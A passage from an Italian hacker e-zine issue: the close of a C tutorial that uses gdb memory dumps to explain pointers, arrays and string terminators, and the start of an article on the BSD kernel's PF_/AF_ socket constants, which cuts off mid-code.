potrebbe far andare l'esecuzione in qualsiasi punto della memoria. Se vi interessano dettagli maggiori su questo argomento fate riferimento a FuSyS o del0rean. Tornando a noi, in c quando si vuole utilizzare una stringa la si pone tra "" e questo dice al compilatore di aggiungere un carattere NULL automaticamente al termine della mia stringa. Se fate attenzione k e' definito come carattere, come un carattere, se avessi usato le "" il compilatore avrebbe tentato di aggiungere NULL al valore M creando una stringa di 2 caratteri, andando quindi contro alla dichiarazione char. Ecco risolto l'enigma delle virgolette. Passiamo oltre. I successivi tre printf mostrano sul sistema corrente le dimensioni in byte dei tipi di variabili. Su una architettura intel x86 il risultato dovrebbe essere: La dimensione di una variabile intera e': 4 byte La dimensione di una variabile char e': 1 byte La dimensione di un puntatore char e': 4 byte Come potete immaginare quindi i valori di un numero intero di estendono da -2.147.483.647 a 2.147.483.647 in quanto 4 byte corrispondono a 32 bit; se provate a convertire 11111111111111111111111111111111 da binario a decimale otterrete 4.294.967.295: notate che questo valore e' esattamente la somma dei range in valore assoluto, infatti il primo bit a sinistra in un normale intero e' utilizzato per dare il segno e se riprovate infatti a fare la conversione utilizzando 31 bit invece di 32 noterete che il risultato e' 2.147.483.647... i conti tornano. Se vorrete utilizzare un intero solo per valori positivi potrete utilizzare il suffisso unsigned: cio' dira' al compilatore di considerare il primo bit a sinistra non piu' come il segno del valore, ma come parte integrante del valore stesso. Per quanto riguarda il tipo char il valore e' 1 byte, cioe' 8 bit; un carattere potra' avere unicamente la dimensione di 1 byte. Una variabile puntatore di tipo carattere occupa 4 byte cioe' 32 bit e questo valore a 32 bit contiene l'indirizzo della locazione di memoria puntata dalla variabile. Come e' facile da immaginare si avranno a disposizione 4.294.967.295 valori per l'indirizzo della memoria. Ora che sappiamo le dimensioni dei tipi di dati possiamo vedere nel caso pratico cosa accade alla memoria del nostro sistema. Osserviamo prima di tutto l'output del programma precedente: Il valore della variabile i e': 10 Il valore della variabile j e': 20 Il valore della variabile k e': M Il valore della variabile l e': Ciao Mondo Come potete vedere i due interi contengono rispettivamente i valori decimali 10 e 20, la variabile carattere contiene la lettera M (notare che per carattere non si intende solamente un valore alfabetico, ma anche numerico o speciale, carattere e' anche 1 oppure ! oppure \). La stringa puntata dal puntatore e' Ciao Mondo come da inizializzazione. Andiamo a vedere come questi dati vengano disposti in memoria osservando il successivo output: Il valore della locazione di memoria contente i e': bffffd44 Il valore della locazione di memoria contente j e': bffffd40 Il valore della locazione di memoria contente k e': bffffd3f Il valore della locazione di memoria contente l e': bffffd38 bffffd** e' l'indirizzo esadecimale della memoria; come potete notare, avendo un intero dimensione 4 byte, gli indirizzi delle due variabili intere sono distanziati di 4 posizioni: cio' evidenzia il fatto che una locazione di memoria e' 1 byte cioe' 8 bit. Apriamo il gdb (GNU Debug) il nostro fidato compagno di avventura... settiamo un breakpoint sulla funzione printf tramite il comando break printf ed eseguiamo un run. Appena avviene l'interruzzione andiamo tramite il comando x ad analizzare il contenuto della memoria: (gdb) x 0xbffffd47 0xbffffd47: 0xfffd6800 (gdb) x 0xbffffd46 0xbffffd46: 0xfd680000 (gdb) x 0xbffffd45 0xbffffd45: 0x68000000 (gdb) x 0xbffffd44 0xbffffd44: 0x0000000a (gdb) x 0xbffffd43 0xbffffd43: 0x00000a00 (gdb) x 0xbffffd42 0xbffffd42: 0x000a0000 (gdb) x 0xbffffd41 0xbffffd41: 0x0a000000 (gdb) x 0xbffffd40 0xbffffd40: 0x00000014 (gdb) x 0xbffffd3f 0xbffffd3f: 0x0000144d (gdb) x 0xbffffd3e 0xbffffd3e: 0x00144d04 (gdb) x 0xbffffd3d 0xbffffd3d: 0x144d0483 (gdb) x 0xbffffd3c 0xbffffd3c: 0x4d0483bb (gdb) x 0xbffffd3b 0xbffffd3b: 0x0483bb08 (gdb) x 0xbffffd3a 0xbffffd3a: 0x83bb0804 (gdb) x 0xbffffd39 0xbffffd39: 0xbb080485 (gdb) x 0xbffffd38 0xbffffd38: 0x08048580 Come mai ho attivato il debug dalla locazione di memoria 0xbffffd47 e non da 0xbffffd44? Se ricordate abbiamo detto precedentemente che una variabile di tipo integer occupa 4 byte in memoria. Ogni locazione di memoria e' esattamente 1 byte, infatti il range di memoria occupato dal primo integer, per capirci la variabile i, parte da 0xbffffd44 e termina a 0xbffffd47. La stessa cosa vale anche per il secondo integer che essendo di 4 byte avra' un range di 4 locazioni di memoria, da 0xbffffd40 a 0xbffffd43. Si puo' fare lo stesso discorso anche per la variabile carattere k: come detto precedentemente una variabile carattere occupa 1 solo byte in memoria e per questo motivo le e' stato dedicata solo 1 locazione di memoria cioe': 0xbffffd3f. Dalla locazione 0xbffffd38 alla locazione 0xbffffd3e la memoria e' occupata dal puntatore di tipo carattere. In realta' dalla locazione 0xbffffd38 alla 0xbffffd3e non viene registrata la stringa, ma dei nuovi indirizzi che puntano alla regione di memoria data dove e' stata registrata la stringa. Estrapoliamo dall'output di gdb i dati fondamentali: Variabile Range Locazioni Valore Valore Hex i 0xbffffd44-0xbffffd47 10 A j 0xbffffd40-0xbffffd43 20 14 k 0xbffffd3f-0xbffffd3f M 4D l 0xbffffd38 Indirizzo 0x08048580 Andiamo ora ad osservare tramite il nostro fidato gdb la posizione in memoria della stringa. Eseguendo: (gdb) x 0xbffffd38 0xbffffd38: 0x08048580 Ottengo il valore esadecimale 0x08048580 che e' il nuovo indirizzo di riferimento per la sezione di memoria data. Eseguendo: (gdb) x 0x08048580 0x8048580 <_IO_stdin_used+28>: 0x6f616943 Ottengo il valore esadecimale 0x6f616943 che corrisponde in codice ASCII al valore: "oaiC" se provate a routare la stringa otterrete Ciao che e' la prima parte della nostra stringa. Proseguiamo ora ad analizzare la memoria nella sezione data tramite il comando: (gdb) x 0x08048581 0x8048581 <_IO_stdin_used+29>: 0x206f6169 Ottengo cosi' il valore ASCII " oai", cioe' spostandoci di un byte in avanti nella memoria stiamo scorrendo ogni singolo carattere della stringa. Se pensate a quello che abbiamo detto prima, ovvero che un indirizzo di memoria contiene 1 byte ed una variabile carattere vale 1 byte, il risultato e' corretto. Ora eseguiamo qualche comando in successione: (gdb) x 0x08048582 0x8048582 <_IO_stdin_used+30>: 0x4d206f61 (gdb) x 0x08048583 0x8048583 <_IO_stdin_used+31>: 0x6f4d206f (gdb) x 0x08048584 0x8048584 <_IO_stdin_used+32>: 0x6e6f4d20 (gdb) x 0x08048585 0x8048585 <_IO_stdin_used+33>: 0x646e6f4d (gdb) x 0x08048586 0x8048586 <_IO_stdin_used+34>: 0x6f646e6f (gdb) x 0x08048587 0x8048587 <_IO_stdin_used+35>: 0x006f646e (gdb) x 0x08048588 0x8048588 <_IO_stdin_used+36>: 0x00006f64 (gdb) x 0x08048589 0x8048589 <_IO_stdin_used+37>: 0x0000006f (gdb) x 0x0804859a 0x804859a <_IO_stdin_used+54>: 0x00000000 Creiamo una piccola tabella per vedere ad ogni locazione il risultato esadecimale e ASCII: Locazione Valore Esadecimale Valore ASCII 0x08048580 0x6f616943 "oaiC" 0x08048581 0x206f6169 " oai" 0x08048582 0x4d206f61 "M oa" 0x08048583 0x6f4d206f "oM o" 0x08048584 0x6e6f4d20 "noM " 0x08048585 0x646e6f4d "dnoM" 0x08048586 0x6f646e6f "odno" 0x08048587 0x006f646e " odn" 0x08048588 0x00006f64 " od" 0x08048589 0x0000006f " o" 0x0804859a 0x00000000 " " Piccola, ma fondamentale notazione ASCII / Esadecimale: Notate la differenza tra il valore esadecimale 20 e il valore 00. Convertendo in ASCII si otterra' nel primo caso il carattere spazio e nel secondo un valore nullo. Se guardate la tabella alla locazione 0x08048589 dopo il valore 67 che corrisponde a "o" in ASCII c'e' il valore 00. Come detto prima 00 e' nullo cioe' NULL terminating string. Ora dovrebbe essere tutto molto piu' chiaro su come venga determinato il termine di una stringa. In questa prima parte dell'articolo avete imparato in dettaglio ad analizzare la memoria per cercare le informazioni in fase di debug ed analisi. D'ora in poi daro' per scontato il fatto che riusciate ad analizzare la memoria e non mi dilungero' sulle istruzioni di gdb. Realizziamo ora un altro programmino dimostrativo per vedere come in realta' possono essere utilizzati i puntatori in programmi reali e quali sono i loro effetti. <-| scaes02.c |-> #include #include int main(void) { int i,j; i = 10; j = 20; printf("La locazione di memoria di j e': 0x%x\n", &j); printf("Il valore di j prima della funzione e': %d\n",j); modify_it(&j); printf("Il valore di j dopo la funzione e': %d\n",j); printf("La locazione di memoria di j dopo la funzione e': 0x%x\n", &j); printf("La locazione di memoria di i e': 0x%x\n", &i); printf("Il valore di i prima della funzione e': %d\n",i); leave_it(i); printf("Il valore di i dopo la funzione e': %d\n",i); printf("La locazione di memoria di i dopo la funzione e': 0x%x\n", &i); return 0; } modify_it(int *j) { printf("La locazione di memoria di j all'interno della funzione e': 0x%x\n",j); *j = 10; printf("Il valore di j all'interno della funzione e': %d\n",*j); } leave_it(int i) { printf("La locazione di memoria di i all'interno della funzione e': 0x%x\n",&i);i = 20; printf("Il valore di i all'interno della funzione e': %d\n",i); } <-X-> Traduciamo questo codice in pseudo codice: dichiara le variabili i e j come interi; assegna ad i il valore 10; assegna a j il valore 20; visualizza la locazione di memoria di j; visualizza il valore di j; chiama la funzione modify_it passando come argomento l'indirizzo di j; visualizza il valore di j dopo la funzione; visualizza la locazione di memoria di j dopo la funzione; visualizza la locazione di memoria di i; visualizza il valore di i; chiama la funzione leave_it passando come argomento il valore di i; visualizza il valore di i dopo la funzione; visualizza la locazione di memoria di i dopo la funzione; funzione modify_it parametro puntatore intero j visualizza la locazione di memoria di j; assegna alla memoria puntata dal puntatore il valore 10; visualizza il valore di j; fine funzione modify_it funzione leave_it parametro intero i visualizza la locazione di memoria di i; assegna alla variabile i il valore 10; visualizza il valore di i; fine funzione leave_it Proviamo ad eseguire il programma, l'output dovrebbe essere simile a: [scacco@marcello arrpoint]$ ./2 La locazione di memoria di j e': 0xbffffd40 Il valore di j prima della funzione e': 20 La locazione di memoria di j all'interno della funzione e': 0xbffffd40 Il valore di j all'interno della funzione e': 10 Il valore di j dopo la funzione e': 10 La locazione di memoria di j dopo la funzione e': 0xbffffd40 La locazione di memoria di i e': 0xbffffd44 Il valore di i prima della funzione e': 10 La locazione di memoria di i all'interno della funzione e': 0xbffffd3c Il valore di i all'interno della funzione e': 20 Il valore di i dopo la funzione e': 10 La locazione di memoria di i dopo la funzione e': 0xbffffd44 [scacco@marcello arrpoint]$ Vediamo ora graficamente cosa e' successo alla memoria con l'ausilio di gdb: Locazione Memoria Valore Esadecimale Valore Decimale 0xbffffd40 0x00000014 20 0xbffffd44 0x0000000a 10 0xbffffd3c 0x00000014 20 Stato memoria dopo la dichiarazione variabili e assegnamento valori ___________________________________________________________________ / \ 0xbffffd40 -> 0x00000014 ---- 0xbffffd41 -> 0x0a000000 \ Variabile j (4 byte) 0xbffffd42 -> 0x000a0000 / 0xbffffd43 -> 0x00000a00 ---- 0xbffffd44 -> 0x0000000a ---- 0xbffffd45 -> 0x68000000 \ Variabile i (4 byte) 0xbffffd46 -> 0xfd680000 / 0xbffffd47 -> 0xfffd6800 ---- \ ___________________________________________________________________ / Stato memoria dopo la funzione modify_it ___________________________________________________________________ / \ 0xbffffd40 -> 0x0000000a ---- 0xbffffd41 -> 0x0a000000 \ Variabile j (4 byte) 0xbffffd42 -> 0x000a0000 / 0xbffffd43 -> 0x00000a00 ---- 0xbffffd44 -> 0x0000000a ---- 0xbffffd45 -> 0x68000000 \ Variabile i (4 byte) 0xbffffd46 -> 0xfd680000 / 0xbffffd47 -> 0xfffd6800 ---- \ ___________________________________________________________________ / Stato memoria durante la funzione leave_it ___________________________________________________________________ / \ 0xbffffd3c -> 0x00000014 ---- 0xbffffd3d -> 0x0a000000 \ Variabile i (4 byte) locale 0xbffffd3e -> 0x000a0000 / 0xbffffd3f -> 0x00000a00 ---- 0xbffffd40 -> 0x0000000a ---- 0xbffffd41 -> 0x0a000000 \ Variabile j (4 byte) 0xbffffd42 -> 0x000a0000 / 0xbffffd43 -> 0x00000a00 ---- 0xbffffd44 -> 0x0000000a ---- 0xbffffd45 -> 0x68000000 \ Variabile i (4 byte) 0xbffffd46 -> 0xfd680000 / 0xbffffd47 -> 0xfffd6800 ---- \ ___________________________________________________________________ / Ora abbiamo tutti i dati per una buona analisi dell'accaduto. La funzione modify_it, come potete notare dal codice, agisce direttamente sulla locazione di memoria del puntatore della variabile j, mentre la funzione leave_it lavora unicamente sul valore della variabile i. All'interno della funzione modify_it con l'istruzione *j = 10; sono andato a sovrascrivere la memoria di j inserendo il nuovo valore cioe' 10. Come potete notare non ho inizializzato nessuna nuova variabile all'interno di modify_it o meglio non ho allocato nessun ulteriore spazio. All'interno di leave_it invece ho allocato spazio per una nuova variabile che ovviamente ha assunto una locazione di memoria vuota, in questa locazione ho copiato il valore originale di i e lo ho modificato in 20. All'uscita da questa funzione il valore originale di i e' rimasto invariato in quanto la locazione di memoria e' stata solo coinvolta in lettura. Ora conosciamo bene i puntatori per poter affrontare l'argomento array e vedere quali sono le differenze e come mai spesso vengono erroneamente confusi. Prima di tutto un array e' una serie di locazioni di memoria contigue contenti lo stesso tipo di dati ed in cui l'indirizzo di memoria piu' basso corrisponde al primo elemento dell'array, quello piu' alto all'ultimo. Abbiamo gia' visto un array precedentemente senza accorgercene: una stringa non e' altro che un array di caratteri, cioe' tante locazioni di memoria contigue contenenti delle variabili char delimitate da un carattere NULL. La differenza che salta agli occhi tra array e puntatori e' che il primo si riferisce alla memoria, mentre il secondo all'indirizzo della memoria. Normalmente si tendono a confondere le cose quando si parla di array di puntatori, pertanto creiamo un altro programma per mostrare la situzione: <-| scaes03.c |-> #include #include int main(void) { char array[] = "Ciao Mondo"; char *pointer; char *pointarr[30]; pointer = "Ciao Mondo"; pointarr[0] = "Ciao Mondo a 0"; pointarr[1] = "Ciao Mondo a 1"; pointarr[20] = "Ciao Mondo a 20"; printf("Analizzo la variabile array...\n"); analyze_array(&array); printf("Analizzo la variabile pointer...\n"); analyze_pointer(&pointer); printf("Analizzo la variabile pointarr...\n"); analyze_pointarr(&pointarr); return 0; } analyze_array(char arr[]) { int i; printf("La locazione di memoria della variabile arr e': 0x%x\n", &arr); for(i = 0; i <10; i++) { printf("La locazione di memoria della variabile array[%d] e': 0x%x\n",i,&arr[i]); printf("Il carattere contenuto in array[%d] e': %c\n",i,arr[i]); } } analyze_pointer(char *pointer) { printf("La locazione di memoria di pointer e': 0x%x\n", pointer); printf("Il contenuto di pointer e': %s\n", pointer); } analyze_pointarr(char *pointer[]) { printf("La locazione di memoria di pointer e': 0x%x\n", pointer); printf("La locazione di memoria della variabile pointer[0] e': 0x%x\n", &pointer[0]); printf("Il contenuto di pointer[0] e': %s\n", pointer[0]); printf("La locazione di memoria della variabile pointer[1] e': 0x%x\n", &pointer[1]); printf("Il contenuto di pointer[1] e': %s\n", pointer[1]); printf("La locazione di memoria della variabile pointer[20] e': 0x%x\n", &pointer[20]); printf("Il contenuto di pointer[20] e': %s\n", pointer[20]); } <-X-> Eseguendo questo programmino l'output dovrebbe essere qualcosa di simile a: [scacco@marcello arrpoint]$ ./3 Analizzo la variabile array... La locazione di memoria della variabile arr e': 0xbffffcbc La locazione di memoria della variabile array[0] e': 0xbffffd3c Il carattere contenuto in array[0] e': C La locazione di memoria della variabile array[1] e': 0xbffffd3d Il carattere contenuto in array[1] e': i La locazione di memoria della variabile array[2] e': 0xbffffd3e Il carattere contenuto in array[2] e': a La locazione di memoria della variabile array[3] e': 0xbffffd3f Il carattere contenuto in array[3] e': o La locazione di memoria della variabile array[4] e': 0xbffffd40 Il carattere contenuto in array[4] e': La locazione di memoria della variabile array[5] e': 0xbffffd41 Il carattere contenuto in array[5] e': M La locazione di memoria della variabile array[6] e': 0xbffffd42 Il carattere contenuto in array[6] e': o La locazione di memoria della variabile array[7] e': 0xbffffd43 Il carattere contenuto in array[7] e': n La locazione di memoria della variabile array[8] e': 0xbffffd44 Il carattere contenuto in array[8] e': d La locazione di memoria della variabile array[9] e': 0xbffffd45 Il carattere contenuto in array[9] e': o Analizzo la variabile pointer... La locazione di memoria di pointer e': 0xbffffd38 Il contenuto di pointer e': Ciao Mondo Analizzo la variabile pointarr... La locazione di memoria di pointer e': 0xbffffcc0 La locazione di memoria della variabile pointer[0] e': 0xbffffcc0 Il contenuto di pointer[0] e': Ciao Mondo a 0 La locazione di memoria della variabile pointer[1] e': 0xbffffcc4 Il contenuto di pointer[1] e': Ciao Mondo a 1 La locazione di memoria della variabile pointer[20] e': 0xbffffd10 Il contenuto di pointer[20] e': Ciao Mondo a 20 [scacco@marcello arrpoint]$ Osservando attentamente la funzione di analisi dell'array si puo' notare che ad ogni elemento dell'array corrisponde un singolo carattere e possono essere referenziati singolarmente tramite la sintassi variabile[num]. Come abbiamo detto piu' di una volta il tipo di dati char occupa 1 solo byte in memoria e quindi ogni elemento e' distanziato di 1 locazione di memoria. Se si specifica un elemento al di fuori dell'array il comportamento non e' definito in quanto si andra' a leggere memoria non inizializzata che potra' contenere qualsiasi valore preesistente. Nel caso del puntatore stringa le cose sono differenti: il limite della memoria non e' piu' dato dalla lettura, ma dal valore in se'. Per capirci: nel caso di un array di char se voi eseguite la lettura all'esterno dell'area inizializzata sapete di causare una lettura bogus, mentre nel caso della lettura stringa da pointer, se non e' specificato all'interno della stringa stessa il carattere NULL finale, la lettura prosegue nella memoria alla ricerca di questo carattere. Se siete fortunati lo potreste trovare subito dopo, ma nella maggior parte dei casi si andra' a leggere o scrivere qualcosa di non prevedibile. Per questo motivo molti programmatori usano creare routine particolari che controllano la presenza del carattere NULL alla fine della stringa dopo ogni inserimento o lettura dati. Queste routine particolari si chiamano sanity checks. Proviamo ora a realizzare un programmino che contenga un sanity check basilare: <-| scaes04.c |-> #include #include int main(void) { char array[] = "Ciao Mondo"; char arraybogus[20]; arraybogus[0] = 'a'; arraybogus[1] = 'b'; arraybogus[2] = 'c'; printf("Il valore della stringa contenuta nell'array e': %s\n", (char *)array); printf("Il valore della stringa contenuta nell'array bogus e': %s\n", (char *)arraybogus); sanitycheck(&arraybogus); printf("Il valore della stringa contenuta nell'array bogus dopo il sanity check e': %s\n", (char *)arraybogus); return 0; } sanitycheck(char arraybogus[]) { if(arraybogus[3] != '\0') { printf("La variabile arraybogus non e' sana...\n"); printf("Aggiungo un null terminating...\n"); arraybogus[3] = '\0'; } } <-X-> Eseguendo questo nuovo programma si dovrebbe ottenere: [scacco@marcello arrpoint]$ ./4 Il valore della stringa contenuta nell'array e': Ciao Mondo Il valore della stringa contenuta nell'array bogus e': abc@xxx La variabile arraybogus non e' sana... Aggiungo un null terminating... Il valore della stringa contenuta nell'array bogus dopo il sanity check e': abc [scacco@marcello arrpoint]$ Questo esempio dovrebbe rappresentare chiaramente le conseguenze di una errata indicizzazione di un array. Guardando il sorgente potete vedere come ho inizializzato due array, di cui il primo e' array ed il secondo e' arraybogus. In array ho messo una stringa tra virgolette e quindi ho istruito il compilatore ad aggiungere un null char al termine della stringa stessa in modo automatico. Nel secondo caso invece ho inserito a mano i valori all'interno dell'array omettendo appositamente il NULL char. Il primo printf contiene un casting da array di caratteri a stringa; in questo caso funziona perfettamente in quanto, come detto precedentemente, questo array di caratteri ha un terminatore NULL. Nel secondo printf il casting restituisce risultati errari in quanto il programma continua a leggere in memoria ed a stampare fino a quando non incontra il primo NULL char. Successivamente viene richiamata la funzione sanitycheck il cui scopo non e' altro che controllare se il quarto elemento dell'array contiene un NULL char: se non lo contiene lo va ad aggiungere alla locazione di memoria originale. Eseguendo quindi il terzo casting tutto torna a funzionare nuovamente in modo corretto. Per questo numero e' tutto. Nel prossimo articolo vi proporro' argomenti un attimino piu' avanzati come strutture, puntatori funzioni, linked lists e company. A presto! Ringraziamenti: smaster: Er Boss! pIGpEN: *BSD Master FuSyS: Protocol Master bELFa: The neverending man Naild0d: grazie mille!!! vecna: il compagno di ventura InfectedM: anche lui \sPIRIT\ (o varianti): win32 guru BBerry: un volto alle news |SquaY2K|: Il mio fan piu' accanito s0ftpj: grazie a tutti! maruz, buzzzo, velenux, why e tutti quelli di #linux-it grazie anche a tutti quelli che ho dimenticato... scusate :( ============================================================================== --------------------------------[ EOF 24/28 ]--------------------------------- ==============================================================================BFi-8/BFi08-25100755 0 0 40570 7102660046 10753 0ustar rootroot============================================================================== ------------[ BFi numero 8, anno 3 - 30/04/2000 - file 25 di 28 ]------------- ============================================================================== -[ MISCELLANE0US ]------------------------------------------------------------ ---[ PF_* E AF_* : iL DiLEMMA C0NTiNUA? -----[ pIGpEN Uno degli argomenti piu' strani e' la differenza che c'e' tra PF_ e AF_ riguardo cui W. Richard Stevens ha fornito spiegazioni esaurienti... Vediamo pero' di scendere un po' piu' sulla pratica, andando a spulciare sul kernel tali valori... Analizzando sys/socket.h nel kernel notiamo: #define AF_UNSPEC 0 #define AF_LOCAL 1 #define AF_UNIX AF_LOCAL #define AF_INET 2 ..... E un paio di righe piu' sotto: #define PF_UNSPEC AF_UNSPEC #define PF_LOCAL AF_LOCAL #define PF_UNIX AF_UNIX #define PF_INET AF_INET ..... A prima vista si capisce quindi che i valori sono fino a questo momento interscambiabili per cui per es. chiamare la socket() con primo parametro AF_* o PF_* e' la stessa cosa... Pero' se sono state messe entrambe probabilmente dal punto di vista logico qualche differenza di utilizzo ci deve pure stare... In effetti le macro AF_* sembrerebbero legate alle sockaddr* : struct sockaddr { u_char sa_len; u_char sa_family; <--- AF_* char sa_data[14]; }; e le PF_* alla sp_family di una struttura interna al kernel utilizzata per per passare le informazioni del protocollo ai raw sockets: struct sockproto { u_short sp_family; <--- PF_* u_short sp_protocol; <--- AF_* (ricevuta da una sockaddr) }; Ecco qui come: (tipica funzione di input che attacca l'mbuf sulla so_rcv del socket corretto, vedi pFi#2 (http://www.s0ftpj.org/bfi/pfi2.tar.gz) per spiegazioni) da net/raw_usrreq.c /* * Raw protocol input routine. Find the socket * associated with the packet(s) and move them over. If * nothing exists for this packet, drop it. */ /* * Raw protocol interface. */ void raw_input(m0, proto, src, dst) struct mbuf *m0; register struct sockproto *proto; struct sockaddr *src, *dst; { register struct rawcb *rp; register struct mbuf *m = m0; register int sockets = 0; struct socket *last; last = 0; LIST_FOREACH(rp, &rawcb_list, list) { /* cerca un elemento dalla lista */ if (rp->rcb_proto.sp_family != proto->sp_family) continue; if (rp->rcb_proto.sp_protocol && rp->rcb_proto.sp_protocol != proto->sp_protocol) continue; /* * We assume the lower level routines have * placed the address in a canonical format * suitable for a structure comparison. * * Note that if the lengths are not the same * the comparison will fail at the first byte. */ #define equal(a1, a2) \ (bcmp((caddr_t)(a1), (caddr_t)(a2), a1->sa_len) == 0) if (rp->rcb_laddr && !equal(rp->rcb_laddr, dst)) continue; if (rp->rcb_faddr && !equal(rp->rcb_faddr, src)) continue; if (last) { struct mbuf *n; n = m_copy(m, 0, (int)M_COPYALL); if (n) { if (sbappendaddr(&last->so_rcv, src, n, (struct mbuf *)0) == 0) /* should notify about lost packet */ m_freem(n); else { sorwakeup(last); sockets++; } } } last = rp->rcb_socket; } if (last) { if (sbappendaddr(&last->so_rcv, src, m, (struct mbuf *)0) == 0) /* attacca mbuf al socket */ m_freem(m); else { sorwakeup(last); sockets++; } } else m_freem(m); } Dicevo che la sp_protocol e' un AF_* , eccone la conferma: /* * This routine is called to generate a message from the routing * socket indicating that a redirect has occured, a routing lookup * has failed, or that a protocol has detected timeouts to a particular * destination. */ void rt_missmsg(type, rtinfo, flags, error) int type, flags, error; register struct rt_addrinfo *rtinfo; { register struct rt_msghdr *rtm; register struct mbuf *m; struct sockaddr *sa = rtinfo->rti_info[RTAX_DST]; if (route_cb.any_count == 0) return; m = rt_msg1(type, rtinfo); if (m == 0) return; rtm = mtod(m, struct rt_msghdr *); rtm->rtm_flags = RTF_DONE | flags; rtm->rtm_errno = error; rtm->rtm_addrs = rtinfo->rti_addrs; route_proto.sp_protocol = sa ? sa->sa_family : 0; raw_input(m, &route_proto, &route_src, &route_dst); } Notate che riceve il valore di una sa_family (struttura sockaddr). Un altro esempio e' la rts_attach() (net/rtsock.c) che contiene il seguente switch: switch(rp->rcb_proto.sp_protocol) { case AF_INET: .... case AF_IPX: .... case AF_NS: .... case AF_ISO: ... . . . } Ancora sull'argomento: Article: 49920 of comp.protocols.tcp-ip From: ddl@harvard.edu (Dan Lanciani) Newsgroups: comp.protocols.tcp-ip Subject: Re: sockets: AF_INET vs. PF_INET Message-ID: <3561@news.IPSWITCH.COM> Date: 10 Apr 96 01:27:20 GMT In article <3169B256.41C6@engr.sgi.com>, sam@engr.sgi.com (Sam Leffler) writes: | Dan Lanciani wrote: |> |> In article <4k1grt$5gq@noao.edu>, rstevens@noao.edu (W. Richard Stevens) |> writes: |> | > So why the difference? |> | > AF vs PF? |> | > What does the difference mean? |> | |> | AF = address family. These constants go into the sin_family member of the |> | socket address structure. |> | |> | PF = protocol family. These constants are the first argument to socket(). |> |> There is a little more to it than that. Although I don't have the ancient |> sources handy to check (and my memory of this particular aspect is fading), |> I recall that the original socket code (4.1c/2.8/2.9BSD) employed a protocol |> structure similar in concept to the sockaddr structure. The protocol |> structure contained a family element and a family-specific protocol number. |> The PF_ constants were used for the family element of the protocol structure. |> A protocol structure (or, rather, the address of one) could be passed to the |> socket() call to serve a purpose similar to that of the last (integer) |> argument |> of the current socket() call. (Keep in mind that the old socket() call did |> not |> take a family/domain argument at all, so interpretation of the protocol |> number |> would not have been possible without the PF_ cue.) Originally, then, the PF_ |> and AF_ constants had a much more parallel purpose as structure tags. When |> socket() started requiring a family/domain argument, the protocol structure |> was dropped. | | Well, actually your memory is a bit off. While that may well be true in general, I was correct on this issue. :) | The original socket design included | a concept termed a "communications domain" (or "communication domain", never | could decide which was correct :-)). A domain encapsulated many aspects of | communication including the protocol family and address format. Sockets were | to be created "within a domain" and carried with them the semantics of the | domain. This was originally to be carried out using a domain() system call | that | returned a descriptor that was then passed as the first argument to socket(). The above may describe the original *concept*, but it was not the implementation in 4.1c/2.9BSD. Whether what you describe ever existed in an implementation, I can't say. I do remember that early 4.2 manuals described all sorts of neat IPC mechanisms that did not exist in the operating system. Something about ``portals'' comes to mind. | Along the way we decided this was not worthwhile and replaced the descriptor | with a manifest constant (PF_*) that referenced a fixed set of domains with | the associated semantics. No, the evolution really did include the version I described. It did not jump from the (hypothetical?) domain() semantics to the current state. Here is an excerpt from the socket() man page of old: ----------------------------------------------------------------------------- SOCKET(2X) UNIX Programmer's Manual SOCKET(2X) NAME socket - create an endpoint for communication SYNOPSIS #include s = socket(type, pf, addr, options); int type; struct sockproto *pf; struct sockaddr *addr; int options; ----------------------------------------------------------------------------- The type is what you would expect. The pf is the object of interest. The addr was used in place of a separate bind() and the options argument encoded bits similar to those used in current setsockopt() calls (plus the important SO_ACCEPTCONN which pre-dated listen()). Here is the interesting section from sys/socket.h: ----------------------------------------------------------------------------- struct sockproto { short sp_family; /* protocol family */ short sp_protocol; /* protocol within family */ }; #define PF_UNSPEC 0 /* unspecified */ #define PF_UNIX 1 /* UNIX internal protocol */ #define PF_INET 2 /* internetwork: UDP, TCP, etc. */ #define PF_IMPLINK 3 /* imp link protocols */ #define PF_PUP 4 /* pup protocols: e.g. BSP */ #define PF_CHAOS 5 /* mit CHAOS protocols */ #define PF_OISCP 6 /* ois communication protocols */ #define PF_NBS 7 /* nbs protocols */ #define PF_ECMA 8 /* european computer manufacturers */ #define PF_DATAKIT 9 /* datakit protocols */ #define PF_CCITT 10 /* CCITT protocols, X.25 etc */ ----------------------------------------------------------------------------- I programmed to these interfaces extensively; I assure you they were/are real. [...] |> Now, I would argue that the AF_ family is the correct set of constants |> for the first argument of socket(). My reason is simply that the constants |> in the tables in the socket code itself are AF_ values, and the first |> argument |> of socket() is compared to these to find the correct domain structure for |> the request. | | The correct parameter is a PF_foo. Why? | In practice however AF_foo = PF_foo and | at this point any implementation that does not maintain this will break lots |of code. FWIW my fingers automatically type AF_ when making a socket call :-). Good, you are doing the right thing. :) Dan Lanciani ddl@harvard.* Uhm vi faccio notare che c'e' un evidente errore nella frase: "The correct parameter is a PF_foo..." lo si puo' capire dal ragionamento corretto che fa prima e dalla conclusione che probabilmente voleva essere AF_foo Comunque andiamo a verificare: Cominciamo dalla chiamata a livello utente: int socket(int domain, int type, protocol) In cui: domain ---> e' il dominio AF_* per intenderci... type ---> sono le SOCK_* protocol ---> e' il numero del protocollo Fin qui ci siamo... La socket() naturalmente ha una sua chiamata di sistema... [sys/kern/uipc_syscalls.c] int socket(p, uap) struct proc *p; register struct socket_args /* { int domain; int type; int protocol; } */ *uap; { struct filedesc *fdp = p->p_fd; struct socket *so; struct file *fp; int fd, error; error = falloc(p, &fp, &fd); /* alloca un nuovo file su quel processo e da' un file descriptor */ if (error) return (error); fp->f_flag = FREAD|FWRITE; fp->f_type = DTYPE_SOCKET; fp->f_ops = &socketops; /* sono assegnate le specifiche per questo nuovo file aperto dal processo */ error = socreate(uap->domain, &so, uap->type, uap->protocol, p); /* descritta sotto */ if (error) { fdp->fd_ofiles[fd] = 0; /* libera il descrittore ed il nuovo file aperto dal processo */ ffree(fp); } else { /* il socket e' stato creato f_data del nostro file puntera' al nostro socket !! */ fp->f_data = (caddr_t)so; p->p_retval[0] = fd; } return (error); } [ sys/kern/uipc_socket.c ] int socreate(dom, aso, type, proto, p) int dom; struct socket **aso; register int type; int proto; struct proc *p; { register struct protosw *prp; register struct socket *so; register int error; if (proto) /* cerca il dominio ed il protocollo appartenente ad esso */ prp = pffindproto(dom, proto, type); else /* cerca il dominio ed il tipo specificato */ prp = pffindtype(dom, type); if (prp == 0 || prp->pr_usrreqs->pru_attach == 0) return (EPROTONOSUPPORT); if (prp->pr_type != type) return (EPROTOTYPE); so = soalloc(p != 0); /* crea una nuova struttura socket */ if (so == 0) return (ENOBUFS); /* 